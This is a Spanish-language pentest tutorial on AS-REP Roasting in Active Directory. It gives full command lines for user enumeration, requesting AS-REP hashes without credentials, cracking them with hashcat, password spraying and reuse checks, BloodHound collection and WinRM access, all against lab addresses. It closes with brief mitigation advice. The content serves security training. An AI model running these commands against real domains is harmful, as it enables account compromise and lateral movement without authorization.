Buscar en BreakSecure

Contenido recomendado

Portada de AS-REP Roasting: cómo identificarlo y explotarlo en Active Directory

AS-REP Roasting: cómo identificarlo y explotarlo en Active Directory

Aprende qué requisitos necesita AS-REP Roasting, cómo identificar usuarios sin Kerberos Pre-Authentication, solicitar hashes crackeables y qué hacer después de recuperar una contraseña.

Por Pedro Vargas · · 7 min de lectura

  • Active Directory
  • Kerberos
  • As Rep Roasting
  • Preauthentication
  • Getnpusers
  • Impacket
  • Kerbrute
  • Rubeus
  • Hashcat
  • Password Cracking
  • User Enumeration
En esta página

AS-REP Roasting: cómo identificarlo y explotarlo en Active Directory

AS-REP Roasting es una técnica de Active Directory que permite obtener material crackeable de ciertos usuarios de dominio sin conocer previamente su contraseña.

La condición clave es que el usuario tenga deshabilitada la opción:

Do not require Kerberos preauthentication

Cuando esto ocurre, Kerberos puede responder a una solicitud de autenticación inicial sin que el usuario tenga que demostrar primero que conoce su contraseña.

Eso nos permite obtener una respuesta AS-REP que contiene información protegida con una clave derivada de la contraseña del usuario.

Después podemos intentar recuperar esa contraseña completamente offline.

La cadena general sería:

Encontrar usuario sin PreAuth
        ↓
Solicitar AS-REP
        ↓
Obtener material crackeable
        ↓
Hashcat / John
        ↓
Recuperar contraseña
        ↓
Reenumerar Active Directory

Realiza estas pruebas únicamente sobre sistemas propios, laboratorios o infraestructura donde tengas autorización.


¿Qué estamos intentando conseguir?

Nuestro objetivo es encontrar usuarios de Active Directory que tengan configurada la opción:

Do not require Kerberos preauthentication

Por ejemplo:

backup_svc
legacy_user
sql_backup
svc_app

Si encontramos uno, podemos solicitar una respuesta Kerberos inicial asociada a ese usuario.

El objetivo final es obtener algo similar a:

$krb5asrep$...

y posteriormente probar contraseñas offline.


¿Qué es Kerberos Pre-Authentication?

Normalmente, cuando un usuario intenta autenticarse mediante Kerberos, no basta con decir:

Hola, soy pedro

El KDC quiere comprobar que realmente conocemos la contraseña asociada a esa cuenta antes de entregarnos determinada información.

Para eso existe la preautenticación.

Simplificando mucho, el flujo normal sería:

Usuario
  ↓
Demuestra conocimiento de su contraseña
  ↓
KDC
  ↓
AS-REP / TGT

La contraseña no se envía directamente.

Kerberos utiliza material criptográfico derivado de ella.

La idea importante es que el KDC exige una prueba previa.

¿Qué cambia cuando PreAuth está deshabilitado?

Si una cuenta tiene:

Do not require Kerberos preauthentication

el flujo cambia.

Podemos preguntar:

Quiero autenticarme como backup_svc

sin demostrar previamente que conocemos su contraseña.

El KDC puede responder con un:

AS-REP

que contiene información cifrada utilizando una clave derivada de la contraseña del usuario.

Ahí aparece AS-REP Roasting.

AS-REP Roasting en una frase

Podemos resumirlo así:

Si Kerberos no exige preautenticación para un usuario, podemos solicitar una respuesta cifrada con su clave y probar contraseñas contra ella offline.


¿Qué necesitamos para explotarlo?

Aquí AS-REP Roasting tiene una ventaja interesante.

Dependiendo del escenario, no siempre necesitamos credenciales válidas del dominio.

Los requisitos principales son:

1. Conocer o descubrir un usuario válido.
2. Que ese usuario tenga PreAuth deshabilitado.
3. Poder comunicarnos con Kerberos en el Domain Controller.

Normalmente:

TCP/UDP 88

Diferencia importante con Kerberoasting

En Kerberoasting normalmente tenemos:

Usuario autenticado
       ↓
Solicita TGS
       ↓
Cuenta con SPN

En AS-REP Roasting podemos llegar a tener:

Usuario conocido
       ↓
No PreAuth
       ↓
Solicitar AS-REP

sin conocer ninguna contraseña previamente.

Esto hace que AS-REP Roasting pueda ser especialmente interesante durante las primeras fases de un pentest.


Paso 1 — Identificar el Domain Controller

Primero podemos enumerar los servicios del objetivo.

nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.10

Si observamos servicios como:

53    DNS
88    Kerberos
389   LDAP
445   SMB
3268  Global Catalog

es muy probable que estemos delante de un Domain Controller.

Supongamos:

DC:
10.10.10.10

Dominio:
breaksecure.local

Paso 2 — Conseguir usuarios válidos

Antes de buscar AS-REP Roasting necesitamos usuarios.

Esto puede venir de muchas fuentes.

Por ejemplo:

SMB
LDAP
RPC
Web
Correos
Documentos
Metadatos
OSINT
Credenciales filtradas

Podríamos terminar con:

users.txt

que contiene:

administrator
pedro
juan
backup_svc
sql_svc
svc_web

Enumeración con Kerbrute

Una herramienta muy utilizada para validar usuarios Kerberos es:

Kerbrute

Por ejemplo:

kerbrute userenum -d breaksecure.local --dc 10.10.10.10 users.txt

Esto puede ayudarnos a diferenciar:

usuarios válidos
usuarios inexistentes

Dependiendo de la respuesta Kerberos.

Después podemos usar únicamente los usuarios confirmados en la siguiente fase.


Paso 3 — Buscar usuarios vulnerables con GetNPUsers

Impacket incluye:

GetNPUsers.py

que permite buscar cuentas sin Kerberos Pre-Authentication.

Si todavía no tenemos credenciales pero disponemos de una lista de usuarios:

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass

La opción:

-no-pass

indica que no queremos proporcionar una contraseña.

Si alguna cuenta es vulnerable, podríamos recibir directamente algo similar a:

$krb5asrep$23$backup_svc@BREAKSECURE.LOCAL:...

Eso es exactamente lo que estamos buscando.

Guardar los resultados

Podemos intentar guardar el resultado en un archivo para crackearlo posteriormente.

Por ejemplo:

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

Ahora tendremos:

asrep.txt

con los usuarios vulnerables encontrados.

¿Qué acaba de ocurrir?

Supongamos que nuestra lista tenía:

pedro
juan
backup_svc
svc_web

y únicamente backup_svc tiene PreAuth deshabilitado.

Cuando preguntamos al KDC por:

backup_svc

Kerberos no exige que primero demostremos que conocemos su contraseña.

Por eso podemos recibir:

AS-REP

con información cifrada utilizando material derivado de la contraseña de backup_svc.

Ahora podemos llevarnos esa respuesta y probar contraseñas contra ella.


Paso 4 — Crackear el AS-REP

Para un AS-REP Kerberos RC4 típico podemos utilizar Hashcat con:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Si la contraseña aparece en nuestra wordlist podríamos obtener:

backup_svc:Backup2026!

¿Por qué podemos crackearlo offline?

Por la misma razón por la que Kerberoasting es tan interesante.

Una vez tenemos:

$krb5asrep$...

los intentos de contraseña ya no tienen que llegar al Domain Controller.

Podemos probar:

Password123
Backup2025
Backup2026!
Empresa2026!
Summer2026!

localmente.

La idea simplificada es:

Contraseña candidata
       ↓
Derivar clave
       ↓
Probar contra AS-REP
       ↓
¿Coincide?

Si coincide, tenemos la contraseña correcta.

Utilizar reglas con Hashcat

RockYou no siempre será suficiente.

Podemos utilizar reglas:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Esto genera variaciones automáticamente.

Por ejemplo:

backup
Backup
Backup1
Backup123
Backup!
Backup2026
Backup2026!

¿Y si no crackea?

No significa que AS-REP Roasting haya fallado.

Significa simplemente que la contraseña utilizada no ha aparecido entre nuestros candidatos.

Podemos cambiar la estrategia:

Wordlists personalizadas
Reglas
Masks
Patrones internos
Años
Temporadas
Nombre de empresa
Nombres de proyectos
Convenciones corporativas

Por ejemplo, si sabemos que la organización usa contraseñas tipo:

EmpresaMesAño!

podemos adaptar el ataque específicamente a ese patrón.

Ejemplo con máscara

Supongamos que creemos que la contraseña podría seguir algo parecido a:

Backup2026!

En vez de probar millones de palabras aleatorias podemos crear una estrategia mucho más específica.

La idea es reducir el espacio de búsqueda utilizando información contextual.

En un pentest real, normalmente esto es más eficiente que limitarse a lanzar RockYou y esperar.

AS-REP Roasting desde Windows con Rubeus

Si ya tenemos acceso a un equipo Windows unido al dominio, también podemos utilizar:

Rubeus

Una opción habitual es:

Rubeus.exe asreproast

Rubeus puede buscar usuarios con PreAuth deshabilitado y solicitar las respuestas correspondientes.

Después podemos llevar esas respuestas a nuestra máquina de cracking.

¿Cómo sé si una cuenta es realmente vulnerable?

Hay que distinguir varias cosas.

Usuario válido

Primero confirmamos que la cuenta existe:

backup_svc

PreAuth deshabilitado

Después verificamos que Kerberos no requiere preautenticación.

Obtenemos AS-REP

Recibimos:

$krb5asrep$...

En este punto ya podemos realizar cracking offline.

Recuperamos contraseña

Finalmente:

backup_svc:Backup2026!

Aquí hemos comprometido realmente la cuenta.


Paso 5 — Ya tengo la contraseña, ¿ahora qué?

Igual que con Kerberoasting, el artículo no debería acabar cuando Hashcat muestra la contraseña.

Ahora tenemos una nueva identidad:

backup_svc

La siguiente pregunta es:

¿Qué puede hacer esta cuenta?

Validar las credenciales

Podemos empezar con SMB:

nxc smb 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

También podemos comprobar WinRM:

nxc winrm 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

LDAP:

nxc ldap 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Buscar reutilización de contraseña

La contraseña recuperada puede haberse reutilizado.

Por ejemplo:

nxc smb 10.10.10.10 -u users.txt -p 'Backup2026!' -d breaksecure.local --continue-on-success

Podríamos descubrir:

backup_svc     Backup2026!
backup_admin   Backup2026!

Eso cambia completamente el impacto.

Ejecutar BloodHound de nuevo

Siempre que conseguimos una cuenta nueva merece la pena volver a enumerar Active Directory.

bloodhound-python -u backup_svc -p 'Backup2026!' -d breaksecure.local -ns 10.10.10.10 -c All

Después revisamos relaciones como:

GenericAll
GenericWrite
WriteOwner
WriteDACL
ForceChangePassword
AddMember
AdminTo
CanPSRemote
AllowedToDelegate
DCSync

Una cuenta aparentemente secundaria puede tener permisos muy interesantes.

Revisar grupos

Podemos comprobar si la cuenta pertenece a grupos como:

Backup Operators
Server Operators
Remote Management Users
Administrators
Account Operators
DNSAdmins

Especialmente interesante sería algo como:

backup_svc
  ↓
Backup Operators

porque determinadas membresías pueden abrir rutas de escalamiento adicionales.

Buscar acceso administrativo

Podemos probar la cuenta sobre otros sistemas del entorno:

nxc smb 10.10.10.0/24 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Si en alguno aparece:

Pwn3d!

la cuenta posee privilegios administrativos en ese host.

Ahora podríamos haber encontrado una oportunidad de movimiento lateral.

Probar WinRM

Si la cuenta tiene acceso remoto:

nxc winrm 10.10.10.20 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

podríamos conectarnos posteriormente mediante:

evil-winrm -i 10.10.10.20 -u backup_svc -p 'Backup2026!'

Buscar servicios relacionados con la cuenta

El propio nombre puede darnos pistas.

Por ejemplo:

backup_svc

nos debería hacer pensar inmediatamente en:

Backups
Shares
Scripts
Jobs programados
Credenciales almacenadas
Software de backup
Acceso a servidores

Mientras que:

sql_svc

nos haría mirar MSSQL.

Y:

web_svc

podría llevarnos hacia IIS, aplicaciones web o servidores de aplicación.

Los nombres de cuentas de servicio muchas veces revelan hacia dónde debemos mirar después.


AS-REP Roasting sin credenciales

Esta es una de las diferencias más interesantes respecto a Kerberoasting.

Podemos encontrarnos en una situación donde todavía no tenemos:

usuario:contraseña

pero sí tenemos:

lista de usuarios

Si uno de esos usuarios tiene PreAuth deshabilitado:

users.txt
     ↓
GetNPUsers
     ↓
AS-REP
     ↓
Hashcat
     ↓
Primera contraseña del dominio

AS-REP Roasting puede convertirse entonces en nuestro vector de acceso inicial.


AS-REP Roasting con credenciales

También podemos encontrarnos ya dentro del dominio.

En ese caso podemos realizar una enumeración más completa mediante:

LDAP
BloodHound
PowerView
NetExec

para localizar específicamente cuentas que tengan configurado el flag correspondiente.

La ventaja es que ahora tenemos mucha más visibilidad sobre Active Directory.


¿Qué configuración hace vulnerable al usuario?

Dentro de Active Directory existe una opción asociada al usuario:

Do not require Kerberos preauthentication

Conceptualmente:

PreAuth requerida
       ↓
Normal

frente a:

PreAuth NO requerida
       ↓
Potencial AS-REP Roasting

Esta configuración suele representarse mediante determinadas flags del atributo:

userAccountControl

Buscarlo con PowerView

Si estamos dentro de Windows y tenemos PowerView, podemos buscar usuarios susceptibles a AS-REP Roasting.

Por ejemplo:

Get-DomainUser -PreauthNotRequired

Eso nos permite identificar directamente cuentas con la configuración peligrosa.

Buscarlo desde LDAP

También podemos realizar búsquedas LDAP basándonos en los atributos de Active Directory.

Esto puede ser útil cuando queremos realizar enumeración manual o automatizar auditorías.

El concepto sigue siendo:

Buscar usuarios
        ↓
Revisar userAccountControl
        ↓
Detectar DONT_REQ_PREAUTH

AS-REP Roasting vs Kerberoasting

Ambos ataques están relacionados con Kerberos y permiten cracking offline, pero atacan condiciones distintas.

AS-REP Roasting

Necesita:

Usuario válido
+
PreAuth deshabilitado

Solicitamos:

AS-REP

Podemos llegar a realizarlo sin credenciales.

Kerberoasting

Necesita:

Cuenta con SPN

y normalmente:

Usuario autenticado

Solicitamos:

TGS

Comparación rápida

Característica AS-REP Roasting Kerberoasting
Objetivo Usuario sin PreAuth Cuenta con SPN
Ticket AS-REP TGS
Credenciales previas No siempre Normalmente sí
Cracking offline Sí Sí
Objetivo habitual Usuario Cuenta de servicio
Herramienta Impacket GetNPUsers GetUserSPNs
Hashcat RC4 habitual 18200 13100

Flujo completo de AS-REP Roasting

Encontramos dominio
        ↓
Enumeramos usuarios
        ↓
Tenemos users.txt
        ↓
Buscar No PreAuth
        ↓
GetNPUsers
        ↓
¿Hay AS-REP?
   ↙         ↘
 NO           SÍ
 ↓             ↓
Continuar     Guardar hash
enumeración       ↓
              Hashcat
                 ↓
          ¿Sale contraseña?
            ↙        ↘
          NO          SÍ
          ↓            ↓
      Mejorar        Validar
      cracking      credenciales
                       ↓
                  Password reuse
                       ↓
                   BloodHound
                       ↓
                 Nuevo vector

Checklist rápido de AS-REP Roasting

Requisitos

[ ] Conozco el dominio
[ ] Identifiqué el Domain Controller
[ ] Tengo conectividad con Kerberos
[ ] Tengo al menos uno o varios nombres de usuario

Enumeración

[ ] Validé usuarios
[ ] Busqué cuentas sin PreAuth
[ ] Probé GetNPUsers
[ ] Revisé usuarios mediante LDAP/BloodHound si tengo credenciales

Explotación

[ ] Obtuve $krb5asrep$
[ ] Guardé los resultados
[ ] Identifiqué el tipo de cifrado
[ ] Ejecuté cracking offline

Post-explotación

[ ] Validé la contraseña
[ ] Probé password reuse
[ ] Revisé SMB
[ ] Revisé WinRM
[ ] Revisé LDAP
[ ] Revisé grupos
[ ] Ejecuté BloodHound
[ ] Revisé ACL
[ ] Busqué acceso administrativo
[ ] Busqué movimiento lateral

Comandos rápidos

Validar usuarios con Kerbrute

kerbrute userenum -d breaksecure.local --dc 10.10.10.10 users.txt

Buscar AS-REP sin credenciales

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass

Guardar hashes

impacket-GetNPUsers breaksecure.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

Crackear AS-REP

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Crackear con reglas

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Rubeus

Rubeus.exe asreproast

PowerView

Get-DomainUser -PreauthNotRequired

Validar contraseña

nxc smb 10.10.10.10 -u 'backup_svc' -p 'Backup2026!' -d breaksecure.local

Password reuse

nxc smb 10.10.10.10 -u users.txt -p 'Backup2026!' -d breaksecure.local --continue-on-success

BloodHound

bloodhound-python -u backup_svc -p 'Backup2026!' -d breaksecure.local -ns 10.10.10.10 -c All

¿Cómo mitigar AS-REP Roasting?

La principal defensa es bastante directa.

Habilitar Kerberos Pre-Authentication

Salvo que exista una razón concreta para deshabilitarla, los usuarios deberían requerir:

Kerberos Pre-Authentication

La opción:

Do not require Kerberos preauthentication

debería revisarse y eliminarse cuando no sea estrictamente necesaria.